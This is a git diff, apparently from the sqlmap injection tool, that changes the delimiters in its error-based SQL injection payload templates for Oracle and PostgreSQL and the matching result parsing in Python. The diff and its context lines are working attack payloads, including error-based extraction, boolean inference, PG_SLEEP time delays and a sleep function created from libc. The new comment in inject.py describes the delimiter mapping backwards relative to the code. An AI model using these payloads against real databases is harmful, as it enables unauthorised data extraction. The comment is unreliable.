diff --git a/lib/request/inject.py b/lib/request/inject.py
index 0c1aa87d4..00d6ba41e 100644
--- a/lib/request/inject.py
+++ b/lib/request/inject.py
@@ -355,11 +355,10 @@ def __goError(expression, resumeValue=True):
     result = Request.queryPage(urlencode(forgedPayload), content=True)
 
     match = re.search(temp.errorRegex, result[0], re.DOTALL | re.IGNORECASE)
-
     if match:
         output = match.group('result')
         if output:
-            output = output.replace("%c%c" % (58, 59), " ").replace("%c%c" % (59, 58), "")
+            output = output.replace("%c%c%c" % (58, 95, 58), " ").replace("%c%c%c" % (58, 120, 58), "") #':_:' -> EMPTY CHAR, ':x:' -> SPACE CHAR
 
     return output
 
diff --git a/xml/queries.xml b/xml/queries.xml
index b9848fa44..c30953c74 100644
--- a/xml/queries.xml
+++ b/xml/queries.xml
@@ -92,7 +92,7 @@
         <substring query="SUBSTR((%s), %d, %d)"/>
         <case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END) FROM DUAL"/>
         <!--<error query="AND 1=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(58)||(%s)||CHR(62))) FROM DUAL)" regex="Warning: invalid QName.*::(?P&lt;result&gt;.+?)&amp;quot;"/>-->
-        <error query="AND 1=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(58)||(REPLACE((%s),CHR(32),CHR(58)||CHR(59)))||CHR(62))) FROM DUAL)" regex="Warning: invalid QName.*::(?P&lt;result&gt;.+?)&amp;quot;"/>
+        <error query="AND 1=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(58)||(REPLACE((%s),CHR(32),CHR(58)||CHR(95)||CHR(58)))||CHR(62))) FROM DUAL)" regex="Warning: invalid QName.*::(?P&lt;result&gt;.+?)&amp;quot;"/>
         <inference query="AND ASCII(SUBSTR((%s), %d, 1)) > %d"/>
         <banner query="SELECT banner FROM v$version WHERE ROWNUM=1"/>
         <current_user query="SELECT USER FROM DUAL"/>
@@ -176,7 +176,7 @@
         <timedelay query="SELECT PG_SLEEP(%d)" query2="SELECT 'sqlmap' WHERE exists(SELECT * FROM generate_series(1, 300000%d))" query3="CREATE OR REPLACE FUNCTION sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' language 'C' STRICT; SELECT sleep(%d)"/>
         <substring query="SUBSTR((%s)::text, %d, %d)"/>
         <case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
-        <error query="AND 1=CAST((%s)::text||CHR(59)||CHR(58) AS NUMERIC)" regex="SQL error:.*invalid input syntax for type numeric:.*&quot;(?P&lt;result&gt;.+?)&quot;"/>
+        <error query="AND 1=CAST((%s)::text||CHR(58)||CHR(120)||CHR(58) AS NUMERIC)" regex="SQL error:.*invalid input syntax for type numeric:.*&quot;(?P&lt;result&gt;.+?)&quot;"/>
         <inference query="AND ASCII(SUBSTR((%s)::text, %d, 1)) > %d"/>
         <banner query="SELECT VERSION()"/>
         <current_user query="SELECT CURRENT_USER"/>